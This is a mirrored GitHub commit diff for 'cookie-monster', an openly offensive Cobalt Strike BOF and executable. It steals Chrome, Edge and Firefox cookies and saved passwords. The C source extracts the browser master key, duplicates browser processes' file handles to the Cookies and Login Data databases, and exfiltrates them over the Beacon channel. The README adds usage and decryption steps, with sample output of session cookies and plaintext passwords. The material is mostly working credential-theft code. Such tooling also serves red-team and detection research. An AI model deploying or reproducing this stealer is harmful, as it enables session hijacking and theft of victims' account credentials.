mirror of
https://github.com/KingOfTheNOPs/cookie-monster
synced 2026-06-06 16:04:30 +00:00
refactored code, included Login Data file in BOF, decrypt scripts for Chrome/Edge Cookies/Login Data
This commit is contained in:
@@ -0,0 +1,4 @@
|
||||
*.db
|
||||
*.exe
|
||||
*.o
|
||||
*.json
|
||||
@@ -1,7 +1,6 @@
|
||||
all:
|
||||
x86_64-w64-mingw32-gcc -c cookie-monster-bof.c -o cookie-monster-bof.o
|
||||
x86_64-w64-mingw32-strip --strip-unneeded cookie-monster-bof.o
|
||||
x86_64-w64-mingw32-gcc -c cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
|
||||
clean:
|
||||
rm cookie-monster.o
|
||||
rm cookie-monster.exe
|
||||
@@ -1,22 +1,27 @@
|
||||
# cookie-monster
|
||||
Steal browser cookies for edge, chrome and firefox through a BOF or exe!
|
||||
Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the COOKIES file, copy the handle and then fileless download the COOKIES.
|
||||
Cookie-Monster will extract the WebKit master key, locate a browser process with a handle to the Cookies and Login Data files, copy the handle(s) and then fileless download the target.
|
||||
Once the Cookies/Login Data file(s) are downloaded, the python decryption script can help extract those secrets!
|
||||
|
||||
## BOF Usage
|
||||
```
|
||||
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ]
|
||||
Usage: cookie-monster [ --chrome || --edge || --firefox || --chromeCookiePID <pid> || --chromeLoginDataPID <PID> || --edgeCookiePID <pid> || --edgeLoginDataPID <pid>]
|
||||
cookie-monster Example:
|
||||
cookie-monster --chrome
|
||||
cookie-monster --edge
|
||||
cookie-moster --firefox
|
||||
cookie-monster --chromepid 1337
|
||||
cookie-monster --edgepid 4444
|
||||
cookie-monster --chromeCookiePID 1337
|
||||
cookie-monster --chromeLoginDataPID 1337
|
||||
cookie-monster --edgeCookiePID 4444
|
||||
cookie-monster --edgeLoginDataPID 4444
|
||||
cookie-monster Options:
|
||||
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD
|
||||
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD
|
||||
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
|
||||
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to Cookies/Login Data and then copies the file to the CWD
|
||||
--firefox, looks for profiles.ini and locates the key4.db and logins.json file
|
||||
--chromepid, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
|
||||
--edgepid, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and cookie file
|
||||
--chromeCookiePID, if chrome PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
|
||||
--chromeLoginDataPID, if chrome PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
|
||||
--edgeCookiePID, if edge PID is provided look for the specified process with a handle to cookies is known, specifiy the pid to duplicate its handle and file
|
||||
--edgeLoginDataPID, if edge PID is provided look for the specified process with a handle to Login Data is known, specifiy the pid to duplicate its handle and file
|
||||
```
|
||||
|
||||
## EXE usage
|
||||
@@ -26,10 +31,51 @@ Cookie Monster Example:
|
||||
Cookie Monster Options:
|
||||
-h, --help Show this help message and exit
|
||||
--all Run chrome, edge, and firefox methods
|
||||
--edge Extract edge keys and download cookies file to PWD
|
||||
--chrome Extract chrome keys and download cookies file to PWD
|
||||
--edge Extract edge keys and download Cookies/Login Data file to PWD
|
||||
--chrome Extract chrome keys and download Cookies/Login Data file to PWD
|
||||
--firefox Locate firefox key and Cookies, does not make a copy of either file
|
||||
```
|
||||
## Decryption Steps
|
||||
Install requirements
|
||||
```
|
||||
pip3 install -r requirements.txt
|
||||
```
|
||||
|
||||
Base64 encode the webkit masterkey
|
||||
```
|
||||
python3 base64-encode.py "\xec\xfc...."
|
||||
```
|
||||
|
||||
Decrypt Cookies File
|
||||
```
|
||||
python .\decrypt.py "XHh..." --cookies ChromeCookie.db
|
||||
|
||||
Results Example:
|
||||
-----------------------------------
|
||||
Host: .github.com
|
||||
Path: /
|
||||
Name: dotcom_user
|
||||
Cookie: KingOfTheNOPs
|
||||
Expires: Oct 28 2024 21:25:22
|
||||
|
||||
Host: github.com
|
||||
Path: /
|
||||
Name: user_session
|
||||
Cookie: x123.....
|
||||
Expires: Nov 11 2023 21:25:22
|
||||
```
|
||||
|
||||
Decrypt Passwords File
|
||||
```
|
||||
python .\decrypt.py "XHh..." --passwords ChromePasswords.db
|
||||
|
||||
Results Example:
|
||||
-----------------------------------
|
||||
URL: https://test.com/
|
||||
Username: tester
|
||||
Password: McTesty
|
||||
```
|
||||
|
||||
## Installation
|
||||
Ensure Mingw-w64 and make is installed on the linux prior to compiling.
|
||||
```
|
||||
@@ -41,11 +87,15 @@ to compile exe on windows
|
||||
gcc .\cookie-monster.c -o cookie-monster.exe -lshlwapi -lcrypt32
|
||||
```
|
||||
|
||||
### TO-DO
|
||||
- update decryption for firefox
|
||||
|
||||
## References
|
||||
This project could not have been done without the help of Mr-Un1k0d3r and his amazing seasonal videos!
|
||||
Highly recommend checking out his lessons!!! <br>
|
||||
Cookie Webkit Master Key Extractor:
|
||||
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF <br>
|
||||
Fileless download:
|
||||
https://github.com/fortra/nanodump
|
||||
|
||||
https://github.com/fortra/nanodump <br>
|
||||
Decrypt Cookies and Login Data:
|
||||
https://github.com/login-securite/DonPAPI
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
import sys
|
||||
import base64
|
||||
|
||||
def main():
|
||||
args = sys.argv[1:]
|
||||
if len(args) != 1:
|
||||
print("Usage: python base64-encode.py <key>")
|
||||
sys.exit(1)
|
||||
key = args[0]
|
||||
base64_key = base64.b64encode(key.encode())
|
||||
print(base64_key.decode())
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
+86
-178
@@ -9,17 +9,16 @@
|
||||
#include "cookie-monster-bof.h"
|
||||
#include "beacon.h"
|
||||
|
||||
CHAR *GetCookieFileContent(CHAR *path);
|
||||
CHAR *GetFileContent(CHAR *path);
|
||||
CHAR *ExtractKey(CHAR *buffer);
|
||||
VOID GetMasterKey(CHAR *key);
|
||||
VOID GetChromeKey();
|
||||
VOID GetFirefoxInfo();
|
||||
VOID GetEdgeKey();
|
||||
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
|
||||
BOOL GetChromeDatabase(DWORD PID);
|
||||
VOID GetChromePID();
|
||||
BOOL GetEdgeDatabase(DWORD PID);
|
||||
VOID GetEdgePID();
|
||||
BOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *filename);
|
||||
|
||||
WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA (LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
@@ -37,13 +36,10 @@ WINBASEAPI HGLOBAL WINAPI KERNEL32$GlobalFree (HGLOBAL hMem);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
|
||||
//WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentDirectoryA (DWORD nBufferLength, LPSTR lpBuffer);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess (VOID);
|
||||
WINBASEAPI BOOL WINAPI KERNEL32$DuplicateHandle (HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwOptions);
|
||||
WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess (DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
|
||||
//WINBASEAPI BOOL WINAPI KERNEL32$WriteFile (HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
|
||||
WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryA (LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
|
||||
//WINBASEAPI BOOL WINAPI CRYPT32$CryptStringToBinaryW (LPCWSTR pszString, DWORD cchString, DWORD dwFlags, BYTE *pbBinary, DWORD *pcbBinary, DWORD *pdwSkip, DWORD *pdwFlags);
|
||||
WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
|
||||
WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName);
|
||||
WINBASEAPI DWORD WINAPI KERNEL32$SetFilePointer (HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
|
||||
@@ -61,7 +57,6 @@ WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T
|
||||
FARPROC time = Resolver("msvcrt", "time");\
|
||||
FARPROC strnlen = Resolver("msvcrt", "strnlen");\
|
||||
FARPROC rand = Resolver("msvcrt", "rand");
|
||||
|
||||
#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size)
|
||||
#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr)
|
||||
#define DATA_FREE(d, l) \
|
||||
@@ -70,7 +65,6 @@ WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T
|
||||
intFree(d); \
|
||||
d = NULL; \
|
||||
}
|
||||
|
||||
#define CSIDL_LOCAL_APPDATA 0x001c
|
||||
#define CSIDL_APPDATA 0x001a
|
||||
|
||||
@@ -80,7 +74,7 @@ FARPROC Resolver(CHAR *lib, CHAR *func) {
|
||||
return ptr;
|
||||
}
|
||||
|
||||
CHAR *GetCookieFileContent(CHAR *path) {
|
||||
CHAR *GetFileContent(CHAR *path) {
|
||||
CHAR appdata[MAX_PATH];
|
||||
HANDLE hFile = NULL;
|
||||
IMPORT_RESOLVE;
|
||||
@@ -117,7 +111,6 @@ CHAR *ExtractKey(CHAR *buffer) {
|
||||
//look for pattern with key
|
||||
CHAR pattern[] = "encrypted_key\":\"";
|
||||
CHAR *start = MSVCRT$strstr(buffer, pattern);
|
||||
|
||||
CHAR *end = NULL;
|
||||
CHAR *key = NULL;
|
||||
DWORD dwSize = 0;
|
||||
@@ -171,13 +164,12 @@ VOID GetMasterKey(CHAR *key) {
|
||||
}
|
||||
//BeaconPrintf(CALLBACK_OUTPUT, "Decrypted Key!");
|
||||
|
||||
// // return decrypted key
|
||||
// return decrypted key
|
||||
CHAR *output = (CHAR*)KERNEL32$GlobalAlloc(GPTR, (final.cbData * 4) + 1);
|
||||
DWORD i = 0;
|
||||
for(i = 0; i < final.cbData; i++) {
|
||||
sprintf(output, "%s\\x%02x", output, final.pbData[i]);
|
||||
}
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"Decrypt Key: %s \n", output );
|
||||
|
||||
// rewind to the start of the buffer
|
||||
@@ -187,7 +179,7 @@ VOID GetMasterKey(CHAR *key) {
|
||||
|
||||
VOID GetChromeKey() {
|
||||
//get chrome key
|
||||
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Local State");
|
||||
CHAR *data = GetFileContent("\\Google\\Chrome\\User Data\\Local State");
|
||||
CHAR *key = NULL;
|
||||
|
||||
if(data == NULL) {
|
||||
@@ -202,14 +194,13 @@ VOID GetChromeKey() {
|
||||
return;
|
||||
}
|
||||
//BeaconPrintf(CALLBACK_OUTPUT, "Got Chrome Key ");
|
||||
|
||||
GetMasterKey(key);
|
||||
return;
|
||||
}
|
||||
|
||||
VOID GetEdgeKey() {
|
||||
//get edge key
|
||||
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Local State");
|
||||
CHAR *data = GetFileContent("\\Microsoft\\Edge\\User Data\\Local State");
|
||||
CHAR *key = NULL;
|
||||
if(data == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"Reading the file failed.\n");
|
||||
@@ -222,9 +213,7 @@ VOID GetEdgeKey() {
|
||||
BeaconPrintf(CALLBACK_ERROR,"getting the key failed.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
GetMasterKey(key);
|
||||
|
||||
}
|
||||
|
||||
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
|
||||
@@ -234,7 +223,6 @@ CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
|
||||
// create temp var to hold profile
|
||||
tempProfile = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MSVCRT$strlen(profile) + 1);
|
||||
MSVCRT$strncpy(tempProfile, profile, MSVCRT$strlen(profile)+1);
|
||||
|
||||
appdata = (CHAR*)KERNEL32$GlobalAlloc(GPTR, MAX_PATH + 1);
|
||||
|
||||
//get appdata local path and append path to file
|
||||
@@ -274,7 +262,6 @@ VOID GetFirefoxInfo() {
|
||||
dwSize = KERNEL32$GetFileSize(hFile, NULL);
|
||||
buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwSize + 1);
|
||||
KERNEL32$ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
|
||||
|
||||
if(dwSize != dwRead) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"file size mismatch.\n");
|
||||
}
|
||||
@@ -284,7 +271,6 @@ VOID GetFirefoxInfo() {
|
||||
CHAR pattern[] = "Default=Profiles/";
|
||||
CHAR *start = MSVCRT$strstr(buffer, pattern);
|
||||
CHAR *end = NULL;
|
||||
|
||||
if(start == NULL) {
|
||||
return;
|
||||
}
|
||||
@@ -298,7 +284,6 @@ VOID GetFirefoxInfo() {
|
||||
return ;
|
||||
}
|
||||
dwSize = end - start;
|
||||
|
||||
//BeaconPrintf(CALLBACK_OUTPUT, "Profile size is %d\n", dwSize);
|
||||
|
||||
//extract profile from file
|
||||
@@ -327,8 +312,7 @@ VOID GetFirefoxInfo() {
|
||||
KERNEL32$ReadFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
download_file(logins, buffer, dwFileSize);
|
||||
KERNEL32$GlobalFree(buffer);
|
||||
KERNEL32$CloseHandle(hFile);
|
||||
|
||||
KERNEL32$CloseHandle(hFile);
|
||||
}
|
||||
|
||||
// get path to logins.json
|
||||
@@ -359,6 +343,8 @@ VOID GetChromePID() {
|
||||
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32 pe32;
|
||||
INT processCount = 0;
|
||||
BOOL databaseStatus = FALSE;
|
||||
BOOL passwordStatus = FALSE;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
//iterate through each handle to find chrome.exe
|
||||
if(KERNEL32$Process32First(hSnap, &pe32)) {
|
||||
@@ -367,14 +353,17 @@ VOID GetChromePID() {
|
||||
{
|
||||
//chrome was found, get cookies database
|
||||
processCount++;
|
||||
if ( !GetChromeDatabase(pe32.th32ProcessID) ) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID Does not have handle to cookie");
|
||||
if (databaseStatus == FALSE){
|
||||
if (GetBrowserFile(pe32.th32ProcessID, "Cookies", "ChromeCookie.db")){
|
||||
databaseStatus = TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
|
||||
return;
|
||||
if (passwordStatus == FALSE){
|
||||
if (GetBrowserFile(pe32.th32ProcessID, "Login Data", "ChromePasswords.db")){
|
||||
passwordStatus = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
} while(KERNEL32$Process32Next(hSnap, &pe32));
|
||||
}
|
||||
@@ -383,30 +372,29 @@ VOID GetChromePID() {
|
||||
if (processCount == 0) {
|
||||
//check if file exists
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"chrome.exe not found on host\n");
|
||||
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
|
||||
CHAR *data = GetFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
|
||||
if(data == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"Chrome COOKIES not found on host\n");
|
||||
return;
|
||||
}
|
||||
//save data to file
|
||||
// HANDLE hFile = KERNEL32$CreateFileA("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
// DWORD dwRead = 0;
|
||||
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
|
||||
// KERNEL32$CloseHandle(hFile);
|
||||
|
||||
download_file("ChromeCookie.db",data, sizeof(data));
|
||||
KERNEL32$GlobalFree(data);
|
||||
|
||||
// print current directory to screen
|
||||
// CHAR cwd[MAX_PATH];
|
||||
// KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
|
||||
// BeaconPrintf(CALLBACK_OUTPUT,"Chrome COOKIES saved to %s \n", cwd);
|
||||
|
||||
CHAR *passwordData = GetFileContent("\\Google\\Chrome\\User Data\\Login Data");
|
||||
if(passwordData == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"Chrome LOGIN DATA not found on host\n");
|
||||
return;
|
||||
}
|
||||
download_file("ChromePasswords.db",passwordData, sizeof(passwordData));
|
||||
KERNEL32$GlobalFree(passwordData);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL GetChromeDatabase(DWORD PID) {
|
||||
BOOL GetBrowserFile(DWORD PID, CHAR *browserFile, CHAR *downloadFileName) {
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"chrome PID found %d\n", PID);
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"Browser PID found %d\n", PID);
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"Searching for handle to %s \n", browserFile);
|
||||
|
||||
SYSTEM_HANDLE_INFORMATION *shi = NULL;
|
||||
DWORD dwNeeded = 0;
|
||||
@@ -442,6 +430,14 @@ BOOL GetChromeDatabase(DWORD PID) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//when file does not exist on disk, error 87 thrown
|
||||
if(KERNEL32$GetLastError() == 87) {
|
||||
KERNEL32$SetLastError(0);
|
||||
BeaconPrintf(CALLBACK_ERROR,"Wrong Function Call \n Skipping handle \n");
|
||||
//KERNEL32$GlobalFree(shi);
|
||||
continue;
|
||||
}
|
||||
|
||||
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
|
||||
CHAR filename[256];
|
||||
MSVCRT$memset(filename,0, 256);
|
||||
@@ -460,7 +456,7 @@ BOOL GetChromeDatabase(DWORD PID) {
|
||||
}
|
||||
}
|
||||
|
||||
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
|
||||
if(MSVCRT$strstr(filename, browserFile) != NULL) {
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
|
||||
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
|
||||
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
|
||||
@@ -469,11 +465,7 @@ BOOL GetChromeDatabase(DWORD PID) {
|
||||
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
|
||||
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
// HANDLE hFile = KERNEL32$CreateFileA("ChromeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
// KERNEL32$CloseHandle(hFile);
|
||||
|
||||
download_file("ChromeCookie.db",buffer, dwFileSize);
|
||||
download_file(downloadFileName,buffer, dwFileSize);
|
||||
|
||||
KERNEL32$GlobalFree(buffer);
|
||||
return TRUE;
|
||||
@@ -484,7 +476,7 @@ BOOL GetChromeDatabase(DWORD PID) {
|
||||
}
|
||||
}
|
||||
}
|
||||
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
|
||||
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO %s WAS FOUND \n", browserFile);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
@@ -493,6 +485,8 @@ VOID GetEdgePID() {
|
||||
HANDLE hSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
PROCESSENTRY32 pe32;
|
||||
INT processCount = 0;
|
||||
BOOL databaseStatus = FALSE;
|
||||
BOOL passwordStatus = FALSE;
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
//iterate through each handle to find chrome.exe
|
||||
if(KERNEL32$Process32First(hSnap, &pe32)) {
|
||||
@@ -502,16 +496,16 @@ VOID GetEdgePID() {
|
||||
{
|
||||
//edge was found, get cookies database
|
||||
processCount++;
|
||||
if ( !GetEdgeDatabase(pe32.th32ProcessID) ) {
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "PID %d Does not have handle to cookie", pe32.th32ProcessID);
|
||||
if (databaseStatus == FALSE){
|
||||
if (GetBrowserFile(pe32.th32ProcessID, "Cookies", "EdgeCookie.db")){
|
||||
databaseStatus = TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
|
||||
return;
|
||||
if (passwordStatus == FALSE){
|
||||
if (GetBrowserFile(pe32.th32ProcessID, "Login Data", "EdgePasswords.db")){
|
||||
passwordStatus = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
} while(KERNEL32$Process32Next(hSnap, &pe32));
|
||||
}
|
||||
@@ -520,122 +514,21 @@ VOID GetEdgePID() {
|
||||
if (processCount == 0) {
|
||||
//check if file exists
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"msedge.exe not found running on host\n Downloading cookies directly from \\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies ");
|
||||
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
|
||||
CHAR *data = GetFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
|
||||
if(data == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"Edge COOKIES not found on host\n");
|
||||
return;
|
||||
}
|
||||
//save data to file
|
||||
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
// DWORD dwRead = 0;
|
||||
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
|
||||
// KERNEL32$CloseHandle(hFile);
|
||||
download_file("EdgeCookie.db",data, sizeof(data));
|
||||
|
||||
KERNEL32$GlobalFree(data);
|
||||
|
||||
// print current directory to screen
|
||||
//CHAR cwd[MAX_PATH];
|
||||
//KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"Edge COOKIES saved to %s \n", cwd);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL GetEdgeDatabase(DWORD PID) {
|
||||
|
||||
BeaconPrintf(CALLBACK_OUTPUT,"Edge PID found %d\n", PID);
|
||||
|
||||
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
|
||||
DWORD dwNeeded = 0;
|
||||
DWORD dwSize = 0xffffff / 2;
|
||||
PSYSTEM_HANDLE_INFORMATION shi;
|
||||
shi = (SYSTEM_HANDLE_INFORMATION *)KERNEL32$GlobalAlloc(GPTR, dwSize);
|
||||
//utilize NtQueryStemInformation to list all handles on system
|
||||
|
||||
NTSTATUS status;
|
||||
status = NTDLL$NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
|
||||
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"Handle Count %d\n", shi->NumberOfHandles);
|
||||
DWORD i = 0;
|
||||
BOOL firstHandle = TRUE;
|
||||
//iterate through each handle and find our PID and a handle to a file
|
||||
for(i = 0; i < shi->NumberOfHandles; i++) {
|
||||
//check if handle to file
|
||||
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
|
||||
//check if handle is to our PID
|
||||
if(shi->Handles[i].ProcessId == PID) {
|
||||
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
|
||||
|
||||
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
|
||||
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
|
||||
if(hProc == INVALID_HANDLE_VALUE) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"OpenProcess failed %d\n", KERNEL32$GetLastError());
|
||||
KERNEL32$GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE hDuplicate = NULL;
|
||||
if(!KERNEL32$DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, KERNEL32$GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"DuplicateHandle failed %d\n", KERNEL32$GetLastError());
|
||||
KERNEL32$GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
//get last error
|
||||
|
||||
if(KERNEL32$GetLastError() == 87) {
|
||||
KERNEL32$SetLastError(0);
|
||||
BeaconPrintf(CALLBACK_ERROR,"Wrong Function Call \n Skipping handle \n");
|
||||
//KERNEL32$GlobalFree(shi);
|
||||
continue;
|
||||
}
|
||||
|
||||
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
|
||||
CHAR filename[256];
|
||||
MSVCRT$memset(filename,0, 256);
|
||||
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
|
||||
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"%s\n", filename);
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"Length of file name is %d\n", MSVCRT$strlen(filename));
|
||||
|
||||
if(firstHandle) {
|
||||
DWORD dwFilenameSize = MSVCRT$strlen(filename);
|
||||
CHAR *newFilename = filename + MSVCRT$strlen(filename) - MSVCRT$strlen("Application");
|
||||
firstHandle = FALSE;
|
||||
|
||||
if(MSVCRT$strcmp(newFilename, "Application") == 0) {
|
||||
//BeaconPrintf(CALLBACK_ERROR,"SKIPPING PID %d\n", PID);
|
||||
KERNEL32$GlobalFree(shi);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
|
||||
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
|
||||
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
|
||||
//BeaconPrintf(CALLBACK_OUTPUT,"file size is %d\n", dwFileSize);
|
||||
DWORD dwRead = 0;
|
||||
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
|
||||
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
|
||||
|
||||
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
|
||||
//KERNEL32$CloseHandle(hFile);
|
||||
|
||||
download_file("EdgeCookie.db",buffer, dwFileSize);
|
||||
|
||||
KERNEL32$GlobalFree(buffer);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
KERNEL32$CloseHandle(hDuplicate);
|
||||
}
|
||||
}
|
||||
CHAR *passwordData = GetFileContent("\\Microsoft\\Edge\\User Data\\Default\\Login Data");
|
||||
if(passwordData == NULL) {
|
||||
BeaconPrintf(CALLBACK_ERROR,"Edge LOGIN DATA not found on host\n");
|
||||
return;
|
||||
}
|
||||
download_file("EdgePasswords.db",passwordData, sizeof(passwordData));
|
||||
}
|
||||
